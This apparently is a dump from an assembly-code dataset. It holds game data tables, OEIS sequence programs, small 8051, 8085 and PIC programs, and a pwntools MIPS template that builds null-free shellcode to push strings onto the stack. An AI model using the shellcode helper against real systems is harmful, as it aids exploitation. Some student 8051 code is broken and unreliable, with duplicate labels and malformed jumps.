$16 $18 $1A $1C $1A $18 .db $80 _DATA_CB4F_AttenuationData: ; Note attenuations (F = quiet) ; This describes a volume envelope with a fast attack and then exponential decay. .db $0F $0F $0B $0A $09 $08 $07 $06 .db $05 $04 $03 $02 $01 $00 $00 $00 .db $00 $00 $00 $00 $01 $01 $01 $01 .db $01 $01 $02 $02 $02 $02 $02 $02 .db $03 $03 $03 $03 $03 $03 $04 $04 .db $04 $04 $04 $04 $05 $05 $05 $05 .db $05 $05 $06 $06 $06 $06 $06 $06 .db $07 $07 $07 $07 $07 $07 $08 $08 .db $08 $08 $08 $08 $09 $09 $09 $09 .db $09 $09 $0A $0A $0A $0A $0A $0A .db $0B $0B $0B $0B $0B $0B $0C $0C .db $0C $0D $0D $0D $0E $0E $0E $0F .db $0F $0F _DATA_CBB1_PSGFrequencyLookup: ; Values from A3 (220Hz) PSGNotes 12 30 /* ; A G# G F# F E D# D C# C B A# .dw $02A7 $0281 $025D $023B $021B .dw $01FC $01E0 $01C5 $01AC $0194 $017D $0168 $0153 $0140 $012E $011D $010D .dw $00FE $00F0 $00E2 $00D6 $00CA $00BE $00B4 $00AA $00A0 $0097 $008F $0087 .dw $007F */ _DATA_CBED_: ; Unused? Filling gap up to an aligned table .dsb 19 $3D _DATA_CC00_CodemastersLogo: ; 2bpp data for a 252x16 bitmap ; Each four bytes include data for one column, from left to right. ; Within each four bytes, the bits read left to right in pairs give the ; values for each pixel from bottom to top in the colummn. ; However, indexes 1 (%01) and 2 (%10) seem to be swapped? .db $AA $9F $F6 $AA .db $AB $FF $FF $6A .db $AF $FF $FF $DA .db $BD $AA $A9 $FA .db $50 $00 $00 $1C .db $C2 $AA $AA $AC .db $4A $AA $AA $AC .db $4A $AA $AA $AC .db $CA $AA $AA $AC .db $7A $AA $AA $98 .db $BE $AA $AA $B0 .db $7F $EA $AA $42 .db $AA $82 $AA $0A .db $80 $0A $AA $AA .db $AA $7F $D6 $AA .db $AB $FF $FF $AA .db $AF $FF $FF $EA .db $BD $AA $A9 $FA .db $50 $00 $00 $14 .db $C2 $AA $AA $AC .db $4A $AA $AA $A4 .db $CA $AA $AA $AC .db $DA $AA $AA $9C .db $BE $AA $A9 $F8 .db $9F $FF $FF $D0 .db $A7 $FF $FF $42 .db $AA $7F $F6 $0A .db $AA $25 $A0 $2A .db $AA $A0 $02 $AA .db $EA $AA $AA $AC .db $FF $FF $FF $FC .db $FF $FF $FF $FC .db $FF $FF $FF $FC .db $C0 $00 $00 $0C .db $CA $AA $AA $AC .db $CA $AA $AA $AC .db $EA $AA $AA $9C .db $7E $AA $A9 $F8 .db $BF $FF $FF $D0 .db $AF $FF $FF $42 .db $A9 $FF $F6 $0A .db $AA $0A $80 $2A .db $AA $A8 $0A $AA .db $EA $AA $AA $AC .db $FF $FF $FF $FC .db $FF $FF $FF $FC .db $FF $FF $FF $FC .db $C0 $06 $00 $0C .db $CA $A6 $2A $AC .db $CA $AF $2A $AC .db $CA $7F $EA $AC .db $EA $AA $A0 $AC .db $F6 $80 $02 $BC .db $55 $AA $A9 $F4 .db $80 $0A $AA $00 .db $AA $AA $A8 $2A .db $AA $AA $AA $AA .db $EA $AA $AA $AC .db $FD $55 $55 $7C .db $FF $A0 $00 $2C .db $FF $F6 $AA $A8 .db $BF $FF $DA $A8 .db $89 $FF $FD $AA .db $AA $27 $FF $FA .db $AA $A0 $9F $D8 .db $AA $AA $AD $00 .db $AA $A9 $D8 $2A .db $AA $96 $00 $AA .db $A7 $60 $2A $A6 .db $7F $55 $55 $7C .db $FF $FF $FF $FC .db $FF $FF $FF $FC .db $DA $AA $AA $9C .db $40 $00 $00 $04 .db $8A $AA $AA $A8 .db $AA $AA $AA $AC .db $AA $AA $AA $5C .db $AA $AA $9D $84 .db $AA $A9 $6E $08 .db $AA $58 $0E $2A .db $A7 $E0 $AE $2A .db $7F $FF $6E $2A .db $89 $FF $FD $A4 .db $A8 $27 $FF $FC .db $AA $A0 $9F $FC .db $AA $AA $82 $7C .db $AA $AA $AA $0C .db $AA $AA $AA $A8 .db $AA $AA $AA $A8 .db $A7 $FA $A9 $F4 .db $BF $FE $A8 $B4 .db $E0 $FF $AA $AC .db $C2 $BF $6A $A4 .db $4A $BF $EA $AC .db $CA $9F $DA $AC .db $7A $AF $FD $78 .db $BD $AB $FF $D0 .db $AA $88 $95 $82 .db $80 $0A $80 $0A .db $55 $AA $AA $AA .db $F6 $0A $AA $AA .db $E0 $2A $AA $AA .db $C2 $AA $AA $AA .db $EA $AA $AA $AC .db $FF $FF $FF $FC .db $FF $FF $FF $FC .db $FF $FF $FF $FC .db $C0 $00 $00 $2C .db $CA $AA $AA $A8 .db $DA $AA $AA $A8 .db $FE $AA $AA $AA .db $AA $AA $AA $AA .db $80 $0A $AA $AA .db $EA $AA $AA $AC .db $FF $FF $FF $FC .db $FF $FF $FF $FC .db $FF $FF $FF $FC .db $C0 $06 $00 $0C .db $CA $A6 $2A $AC .db $CA $AF $2A $AC .db $CA $7F $EA $AC .db $EA $AA $A0 $AC .db $F6 $80 $02 $BC .db $55 $AA $A9 $F4 .db $80 $0A $AA $00 .db $AA $AA $A8 $2A .db $EA $AA $AA $AC .db $FF $FF $FF $FC .db $FF $FF $FF $FC .db $FF $FF $FF $FC .db $C0 $0B $00 $2C .db $CA $AB $6A $A8 .db $CA $A7 $FE $A8 .db $FA $9F $FF $6A .db $BF $FC $BF $F6 .db $BF $F8 $87 $FC .db $A7 $60 $AA $FC .db $A8 $02 $AA $1C .db $AA $AA $AA $A8 .db $AA $AA $AA $A8 .db $AA $AA $AA $A8 .db $A7 $FA $A9 $F4 .db $BF $FE $A8 $B4 .db $E0 $FF $AA $AC .db $C2 $BF $6A $A4 .db $4A $BF $EA $AC .db $CA $9F $DA $AC .db $7A $AF $FD $78 .db $BD $AB $FF $D0 .db $AA $88 $95 $82 .db $80 $0A $80 $0A .db $AA $AA $AA $AA ; Last column is blank, unused
22.944024
110
0.580509
51ec050e0a305332ac8f9878cb9cd6f80f5a5095
479
asm
Assembly
programs/oeis/256/A256958.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/256/A256958.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/256/A256958.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A256958: The integers (shown from -50 on). ; -50,-49,-48,-47,-46,-45,-44,-43,-42,-41,-40,-39,-38,-37,-36,-35,-34,-33,-32,-31,-30,-29,-28,-27,-26,-25,-24,-23,-22,-21,-20,-19,-18,-17,-16,-15,-14,-13,-12,-11,-10,-9,-8,-7,-6,-5,-4,-3,-2,-1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50 mov $2,$0 sub $0,50 sub $2,$0 lpb $2 mul $0,2 sub $2,1 lpe mov $1,$0 div $1,1125899906842624
36.846154
335
0.56785
33e1655498debac3f8b19214630042af39ce88da
255
asm
Assembly
src/firmware-tests/Platform/Smps/EnableDisable/EnableDisableSmpsShiftOutTest.asm
pete-restall/Cluck2Sesame-Prototype
99119b6748847a7b6aeadc4bee42cbed726f7fdc
[ "MIT" ]
1
2019-12-12T09:07:08.000Z
2019-12-12T09:07:08.000Z
src/firmware-tests/Platform/Smps/EnableDisable/EnableDisableSmpsShiftOutTest.asm
pete-restall/Cluck2Sesame-Prototype
99119b6748847a7b6aeadc4bee42cbed726f7fdc
[ "MIT" ]
null
null
null
src/firmware-tests/Platform/Smps/EnableDisable/EnableDisableSmpsShiftOutTest.asm
pete-restall/Cluck2Sesame-Prototype
99119b6748847a7b6aeadc4bee42cbed726f7fdc
[ "MIT" ]
null
null
null
#include "Platform.inc" #include "FarCalls.inc" #include "Smps.inc" radix decimal EnableDisableSmpsShiftOutTest code global doEnableCall global doDisableCall doEnableCall: fcall enableSmps return doDisableCall: fcall enableSmps return end
12.75
34
0.792157
75189ef7d86de7494aa9fb9953d702838f463077
641
asm
Assembly
oeis/186/A186971.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/186/A186971.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/186/A186971.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A186971: Maximal cardinality of a subset of {1, 2, ..., n} containing n and having pairwise coprime elements. ; Submitted by Jon Maiga ; 1,2,3,3,4,3,5,5,5,4,6,5,7,6,6,7,8,7,9,8,8,8,10,9,10,9,10,9,11,9,12,12,11,11,11,11,13,12,12,12,14,12,15,14,14,14,16,15,16,15,15,15,17,16,16,16,16,16,18,16,19,18,18,19,18,17,20,19,19,18,21,20,22,21,21,21,21,20,23,22,23,22,24,22,23,23,23,23,25,23,24,24,24,24,24,24,26,25,25,25 mov $1,1 add $1,$0 lpb $0 mov $3,$2 mul $3,$0 lpb $3 sub $0,1 add $2,1 mov $4,$1 gcd $4,$2 cmp $4,1 cmp $4,0 sub $3,$4 lpe sub $0,1 add $2,1 mul $1,$2 add $5,1 lpe mov $0,$5 add $0,1
24.653846
275
0.583463
6494b60905cad023a46726736b79d8968d24e741
2,545
asm
Assembly
drue_section.asm
omc8db/8051BuzzyThing
fa4a1a76c96cbcdaf246a13c61f4810595ec26ff
[ "MIT" ]
null
null
null
drue_section.asm
omc8db/8051BuzzyThing
fa4a1a76c96cbcdaf246a13c61f4810595ec26ff
[ "MIT" ]
12
2015-03-17T18:47:53.000Z
2015-04-15T03:22:40.000Z
drue_section.asm
omc8db/8051BuzzyThing
fa4a1a76c96cbcdaf246a13c61f4810595ec26ff
[ "MIT" ]
null
null
null
;start of drue_feature ; drue_feature: jnb SW2 drue_next1; if hit SW2, advance jnb SW1, frown; if hit anythign else, make frowny face. : < jnb SW2, frown; if hit anythign else, make frowny face. : < jnb EXIT_BUTTON, ret; jnb SW4, frown; if hit anythign else, make frowny face. : < jnb SW5, frown; if hit anythign else, make frowny face. : < jnb SW6, frown; if hit anythign else, make frowny face. : < jnb SW7, frown; if hit anythign else, make frowny face. : < jnb SW8, frown; if hit anythign else, make frowny face. : < jnb SW9, frown; if hit anythign else, make frowny face. : < sjmp poker_face; frown: setb LED1_RED; setb LED3_YEL; setb LED5_RED; setb LED7_GRN; setb LED9_AMB; sjmp drue_delay_frown; poker_face: clr LED5_RED; clr LED4_YEL; clr LED6_GRN; setb LED1_RED; setb LED3_YEL; setb LED7_GRN; setb LED9_AMB; setb LED8_RED; sjmp drue_feature;return to beginning drue_next1: setb LED5_RED; make a smiley face! setb LED4_YEL; setb LED6_GRN; jnb SW2 drue_next1; forces it to wait until no longer pressing switch drue_next1_1: jnb SW1, frown; jnb SW2, frown; jnb EXIT_BUTTON, ret; jnb SW4, frown; jnb SW5, drue_next2; jnb SW6, frown; jnb SW7, frown; jnb SW8, frown; jnb SW9, frown; sjmp drue_next1_1; drue_next2: jnb SW5 drue_next2; drue_next2_1: jnb SW1, frown; jnb SW2, frown; jnb EXIT_BUTTON, ret; jnb SW4, frown; jnb SW5, frown; jnb SW6, frown; jnb SW7, frown; jnb SW8, youre_winner; jnb SW9, frown; sjmp drue_next2_1; youre_winner: jnb SW8 youre_winner; mov a, 3; youre_loopser: setb LED1_RED; make everything flash then clear 3 times. Yay youre winner setb LED3_YEL; setb LED5_RED; setb LED7_GRN; setb LED9_AMB; setb LED4_YEL; setb LED6_GRN; setb LED8_RED; setb LED2_AMB; sjmp drue_delay_winner; drue_del_win_ret: clr LED1_RED; clr LED3_YEL; clr LED5_RED; clr LED7_GRN; clr LED9_AMB; clr LED4_YEL; clr LED6_GRN; clr LED8_RED; clr LED2_AMB; djnz drue_exit; sjmp youre_loopser; drue_delay_frown: mov R3, #128 ; drue_delay_outer: mov R5, #7 ; drue_delay_mid: mov R6, #255 ; drue_delay_inner: djnz R6, drue_delay_inner ; djnz R5, drue_delay_mid ; djnz R3, drue_delay_outer; sjmp poker_face; drue_delay_winner: mov R3, #128 ; drue_delay_outer: mov R5, #7 ; drue_delay_mid: mov R6, #255 ; drue_delay_inner: djnz R6, drue_delay_inner ; djnz R5, drue_delay_mid ; djnz R3, drue_delay_outer; sjmp drue_win_del_ret; drue_exit: ret; ;end of drue_feature ;
21.752137
74
0.708055
6c652a378c87c7b85024e46852b7dc5b1b47a792
387
asm
Assembly
programs/oeis/002/A002754.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/002/A002754.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/002/A002754.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A002754: Related to coefficient of m in Jacobi elliptic function cn(z, m). ; 0,0,4,44,408,3688,33212,298932,2690416,24213776,217924020,1961316220,17651846024,158866614264,1429799528428,12868195755908,115813761803232,1042323856229152,9380914706062436,84428232354561996 mov $1,1 mov $2,1 lpb $0,1 sub $0,1 trn $0,1 add $0,1 add $1,$2 mul $2,9 add $2,1 lpe sub $1,1 mul $1,4
24.1875
192
0.741602
89ed2beb6e8acc71b5a605029f91220359ed8058
73
asm
Assembly
gfx/pokemon/hitmontop/anim_idle.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
28
2019-11-08T07:19:00.000Z
2021-12-20T10:17:54.000Z
gfx/pokemon/hitmontop/anim_idle.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
13
2020-01-11T17:00:40.000Z
2021-09-14T01:27:38.000Z
gfx/pokemon/hitmontop/anim_idle.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
22
2020-05-28T17:31:38.000Z
2022-03-07T20:49:35.000Z
setrepeat 2 frame 4, 08 frame 0, 08 dorepeat 1 frame 4, 30 endanim
10.428571
12
0.684932
7a03d5589dc7159c6654095d48d05e88931d1d55
1,048
asm
Assembly
tp5/examples/test5.asm
gallandarakhneorg/da53-labwork-code
b6b646dc6f6d7d3a3fc9486944cd70dd2609853f
[ "Apache-1.1" ]
null
null
null
tp5/examples/test5.asm
gallandarakhneorg/da53-labwork-code
b6b646dc6f6d7d3a3fc9486944cd70dd2609853f
[ "Apache-1.1" ]
null
null
null
tp5/examples/test5.asm
gallandarakhneorg/da53-labwork-code
b6b646dc6f6d7d3a3fc9486944cd70dd2609853f
[ "Apache-1.1" ]
null
null
null
#-- INPUT N START: PRINT @S0[PROGRAM_END+0] N[MEMORY_CONTEXT+0] = READ #-- LET F = 1 F[MEMORY_CONTEXT+8] = 1 #-- FOR I=2 TO N LET F = (F*I) NEXT I I[MEMORY_CONTEXT+16] = 2 L1: @T1[MEMORY_CONTEXT+24] = (I[MEMORY_CONTEXT+16] <= N[MEMORY_CONTEXT+0]) JMP L2[PROGRAM_START+320] IF NOT @T1[MEMORY_CONTEXT+24] #-- LET F = (F*I) @T2[MEMORY_CONTEXT+32] = (F[MEMORY_CONTEXT+8] * I[MEMORY_CONTEXT+16]) F[MEMORY_CONTEXT+8] = @T2[MEMORY_CONTEXT+32] I[MEMORY_CONTEXT+16] = (I[MEMORY_CONTEXT+16] + 1) JMP L1[PROGRAM_START+128] #-- PRINT ((N+"! = ")+F) L2: @T3[MEMORY_CONTEXT+40] = (N[MEMORY_CONTEXT+0] + @S2[PROGRAM_END+5]) @T4[MEMORY_CONTEXT+48] = (@T3[MEMORY_CONTEXT+40] + F[MEMORY_CONTEXT+8]) PRINT @T4[MEMORY_CONTEXT+48] PRINT @S1[PROGRAM_END+3] #-- END EXIT
47.636364
86
0.487595
a51509d53721853e12ed2dd268fd167492b47938
378
asm
Assembly
programs/oeis/087/A087136.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/087/A087136.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/087/A087136.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A087136: Smallest positive number m such that A073642(m)=n. ; 1,2,4,6,10,12,14,22,26,28,30,46,54,58,60,62,94,110,118,122,124,126,190,222,238,246,250,252,254,382,446,478,494,502,506,508,510,766,894,958,990,1006,1014,1018,1020,1022,1534,1790,1918,1982,2014,2030,2038 seq $0,224195 ; Ordered sequence of numbers of form (2^n - 1)*2^m + 1 where n >= 1, m >= 1. trn $0,4 add $0,1
54
204
0.693122
387d65f95d9bc6e3a341166bc076af814d94755e
633
asm
Assembly
pwnlib/shellcraft/templates/mips/pushstr.asm
zneak/pwntools
458c6971ea7bdbbd91180af4872d18039c8861dd
[ "MIT" ]
6
2019-05-29T15:02:21.000Z
2021-04-09T03:52:02.000Z
pwnlib/shellcraft/templates/mips/pushstr.asm
Acidburn0zzz/pwntools
daf117e270d21906a04f809fc603eba90490fe43
[ "MIT" ]
null
null
null
pwnlib/shellcraft/templates/mips/pushstr.asm
Acidburn0zzz/pwntools
daf117e270d21906a04f809fc603eba90490fe43
[ "MIT" ]
3
2018-03-04T03:08:02.000Z
2020-04-22T18:57:44.000Z
<% from pwnlib.util import lists, packing, fiddling from pwnlib.shellcraft import mips %> <%page args="string, append_null = True"/> <%docstring> Pushes a string onto the stack without using null bytes or newline characters. Args: string (str): The string to push. append_null (bool): Whether to append a single NULL-byte before pushing. </%docstring> <% if append_null: string += '\x00' if not string: return %>\ /* push ${repr(string)} */ % for word in lists.group(4, string, 'fill', '\x00')[::-1]: ${mips.mov('$at', packing.unpack(word))} sw $at, -4($sp) add $sp, $sp, -4 % endfor
24.346154
74
0.635071
6f6e0f8033ea7c231400bb0e26447a55b1a4fd33
578
asm
Assembly
oeis/053/A053138.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/053/A053138.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/053/A053138.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A053138: Binomial coefficients C(2*n+9,9). ; 1,55,715,5005,24310,92378,293930,817190,2042975,4686825,10015005,20160075,38567100,70607460,124403620,211915132,350343565,563921995,886163135,1362649145,2054455634,3042312350,4431613550,6358402050,8996462475,12565671261,17341763505,23667689815,31966749880,42757703560,56672074888,74473879480,97082021465,125595622175,161322559475,205811513765,260887834350,328693558050,411731930610,512916800670,635627275767,783768050065,961835834245,1174992339235,1429144287220,1731030945644,2088319702700 mul $0,2 mov $1,-10 bin $1,$0 mov $0,$1
72.25
491
0.858131
386015dea5c1105bc2dd07408c933c10ea0e402f
1,067
asm
Assembly
kernel/vars/strings.asm
gniuk/BOS
5e144deaab35e84b572c5374dcda25490dd5c737
[ "Unlicense" ]
null
null
null
kernel/vars/strings.asm
gniuk/BOS
5e144deaab35e84b572c5374dcda25490dd5c737
[ "Unlicense" ]
null
null
null
kernel/vars/strings.asm
gniuk/BOS
5e144deaab35e84b572c5374dcda25490dd5c737
[ "Unlicense" ]
null
null
null
;----------------------------------------------------------; ; BOS 0.05 Christoffer Bubach, 2004-2015. ; ;----------------------------------------------------------; ; ; ; English strings used in BOS. ; ; ; ;----------------------------------------------------------; ;---------------; ; strings ; ;---------------; pmode_load db 'Setting up protected mode...', 0 pmode_load_ok db '[ 32-bits OK ]', 0 kernel_load db 'Loading kernel...', 0 kernel_load_ok db '[ OK ]', 0 pic_irq db 'Fixing PIC and IRQs...', 0 pic_irq_ok db '[ Done ]', 0 idt_mess db 'Setting up IDT...', 0 idt_ok db '[ IDT OK ]', 0 kbd_load db 'Enables IRQ1...', 0 kbd_ok db '[ Keyboard OK ]', 0 bos_shell db 'BOS shell. Type "help" for more info.', 13, 10, 0
35.566667
75
0.309278
e9eb7620eff1c24b6ed15a478a0345685a4547dc
1,661
asm
Assembly
programs/oeis/051/A051865.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/051/A051865.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/051/A051865.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A051865: 13-gonal (or tridecagonal) numbers: a(n) = n*(11*n - 9)/2. ; 0,1,13,36,70,115,171,238,316,405,505,616,738,871,1015,1170,1336,1513,1701,1900,2110,2331,2563,2806,3060,3325,3601,3888,4186,4495,4815,5146,5488,5841,6205,6580,6966,7363,7771,8190,8620,9061,9513,9976,10450,10935,11431,11938,12456,12985,13525,14076,14638,15211,15795,16390,16996,17613,18241,18880,19530,20191,20863,21546,22240,22945,23661,24388,25126,25875,26635,27406,28188,28981,29785,30600,31426,32263,33111,33970,34840,35721,36613,37516,38430,39355,40291,41238,42196,43165,44145,45136,46138,47151,48175,49210,50256,51313,52381,53460,54550,55651,56763,57886,59020,60165,61321,62488,63666,64855,66055,67266,68488,69721,70965,72220,73486,74763,76051,77350,78660,79981,81313,82656,84010,85375,86751,88138,89536,90945,92365,93796,95238,96691,98155,99630,101116,102613,104121,105640,107170,108711,110263,111826,113400,114985,116581,118188,119806,121435,123075,124726,126388,128061,129745,131440,133146,134863,136591,138330,140080,141841,143613,145396,147190,148995,150811,152638,154476,156325,158185,160056,161938,163831,165735,167650,169576,171513,173461,175420,177390,179371,181363,183366,185380,187405,189441,191488,193546,195615,197695,199786,201888,204001,206125,208260,210406,212563,214731,216910,219100,221301,223513,225736,227970,230215,232471,234738,237016,239305,241605,243916,246238,248571,250915,253270,255636,258013,260401,262800,265210,267631,270063,272506,274960,277425,279901,282388,284886,287395,289915,292446,294988,297541,300105,302680,305266,307863,310471,313090,315720,318361,321013,323676,326350,329035,331731,334438,337156,339885 mov $1,$0 bin $0,2 mul $0,11 add $1,$0
207.625
1,550
0.82059
2062b7282028007c724c1c956485476ae35de49e
267
asm
Assembly
libsrc/_DEVELOPMENT/alloc/malloc/c/sccz80/aligned_alloc_unlocked_callee.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/alloc/malloc/c/sccz80/aligned_alloc_unlocked_callee.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/alloc/malloc/c/sccz80/aligned_alloc_unlocked_callee.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
; void *aligned_alloc_unlocked(size_t alignment, size_t size) SECTION code_alloc_malloc PUBLIC aligned_alloc_unlocked_callee aligned_alloc_unlocked_callee: pop af pop hl pop bc push af INCLUDE "alloc/malloc/z80/asm_aligned_alloc_unlocked.asm"
16.6875
61
0.786517
56d9341e4814894081a4c74540dc5c5ca62e1842
1,023
asm
Assembly
8085 Microprocessor/Assignment 3/sol2.asm
neeladripal/bcse-lab
915d2f535ae95a062438fc85980419646a3951ad
[ "MIT" ]
null
null
null
8085 Microprocessor/Assignment 3/sol2.asm
neeladripal/bcse-lab
915d2f535ae95a062438fc85980419646a3951ad
[ "MIT" ]
null
null
null
8085 Microprocessor/Assignment 3/sol2.asm
neeladripal/bcse-lab
915d2f535ae95a062438fc85980419646a3951ad
[ "MIT" ]
1
2021-08-06T14:39:53.000Z
2021-08-06T14:39:53.000Z
LXI H,21FF MOV B,M ; store value of N in register B to use as counter LXI H,2100 ; set up HL to start checking the numbers from 2501H LXI D,0000 ; clear DE to store the sum LOOP: MOV A,M ; copy contents of HL pair into accumulator ANI 81 ; logical AND 10000001 and contents of accumulator CPI 81 ; compare the result with 81H JNZ NEXT ; if not equal, either MSB or LSB or both equal to 0, skip to next iteration MOV A,D ; transfer the sum in accumulator MOV D,M ; copy the byte to register D ADD D ; add (D) to accumulator MOV D,A ; transfer sum to D JNC NEXT ; check if carry bit generated INR E ; if carry flag is set, increment E NEXT: INX H ; increment HL to point to next address DCR B ; one operation complete, decrement counter JNZ LOOP ; if counter is not zero, go for next check XCHG ; transfer the sum to HL pair SHLD 2500H ; store the sum in 2500H and 2501H HLT ; stop
46.5
92
0.642229
0e2a5f0047fe8145b7d164846b33ce5c52726da1
1,051
asm
Assembly
game/data/stages/gem/illustration.asm
benoitryder/super-tilt-bro
8d5035f54e906a401d0808c2e104d32fa1fadd7f
[ "WTFPL" ]
91
2017-08-06T18:30:13.000Z
2022-02-17T00:26:45.000Z
game/data/stages/gem/illustration.asm
benoitryder/super-tilt-bro
8d5035f54e906a401d0808c2e104d32fa1fadd7f
[ "WTFPL" ]
2
2018-10-12T04:34:13.000Z
2021-12-25T17:01:18.000Z
game/data/stages/gem/illustration.asm
benoitryder/super-tilt-bro
8d5035f54e906a401d0808c2e104d32fa1fadd7f
[ "WTFPL" ]
9
2016-10-08T21:24:37.000Z
2022-02-05T00:13:31.000Z
stage_gem_illustration: .byt $40, $40, $40, $40, $40, $40, $40, $40, $40, $40, $40, $40 .byt $40, $40, $40, $40, $40, $40, $40, $40, $40, $40, $40, $40 .byt $40, $40, $40, $40, $40, $42, $40, $40, $40, $40, $40, $40 .byt $40, $40, $40, $40, $40, $42, $40, $40, $43, $43, $43, $43 .byt $f9, $40, $40, $40, $40, $42, $40, $40, $43, $43, $43, $43 .byt $ed, $40, $40, $40, $40, $42, $40, $40, $43, $43, $43, $43 .byt $ea, $40, $40, $40, $40, $40, $40, $40, $43, $43, $43, $43 .byt $40, $40, $40, $40, $40, $40, $40, $40, $43, $43, $43, $43 .byt $ed, $40, $40, $40, $40, $40, $40, $40, $43, $43, $43, $43 .byt $fa, $40, $40, $40, $40, $40, $40, $40, $43, $43, $43, $43 .byt $f3, $40, $40, $40, $42, $40, $40, $40, $43, $43, $43, $43 .byt $f9, $40, $40, $40, $42, $40, $40, $40, $43, $43, $43, $43 .byt $40, $40, $40, $40, $42, $40, $40, $40, $43, $43, $43, $43 .byt $40, $40, $40, $40, $42, $40, $40, $40, $40, $40, $40, $40 .byt $40, $40, $40, $40, $40, $40, $40, $40, $40, $40, $40, $40 .byt $40, $40, $40, $40, $40, $40, $40, $40, $40, $40, $40, $40
50.047619
63
0.43197
9a3a7429044db62ea7bd2bebbabba9a0b139cb0d
987
asm
Assembly
pipFiles/ifElse6.asm
hwheeler01/comp150
c0f6eb573c422a24d979d1cf74d935b3bd438da3
[ "MIT" ]
null
null
null
pipFiles/ifElse6.asm
hwheeler01/comp150
c0f6eb573c422a24d979d1cf74d935b3bd438da3
[ "MIT" ]
null
null
null
pipFiles/ifElse6.asm
hwheeler01/comp150
c0f6eb573c422a24d979d1cf74d935b3bd438da3
[ "MIT" ]
null
null
null
; The new part here is the inequality test not with 0: rewrite ; if y > x: ; only can compare to 0! so rewrite: 0 > x - y ; x = x*2 ; rest is like others ; else: ; y = y*2 ; z = x + y ; initialize x, y by hand in the simulator! LOD x ; if y > x ; same as 0 > x - y SUB y ; acc = x-y STO temp ; temp = x-y ; CPL requires a memory variable CPL temp ; if temp < 0: acc = 1 else: acc = 0 ; if x-y < 0: ... JMZ ELSE ; if acc == 0 jump to ELSE ; if not x-y < 0 jump to ELSE LOD x ; acc = x (part if true) MUL #2 ; acc = acc*2 (=x*2) STO x ; x = acc (so x = x*2) JMP PAST ; (avoid else part) ELSE: LOD y ; acc = y (part if false) MUL #2 ; acc = acc*2 (=y*2) STO y ; y = acc (so y = y*2) PAST: LOD x ; acc = x ADD y ; acc = acc + y (= x+y) STO z ; z = acc (=x+y) HLT
36.555556
64
0.435664
97d25a0a1ac822f7704ce1d0c76b566395a2a5fa
5,460
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_924.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_924.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_924.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
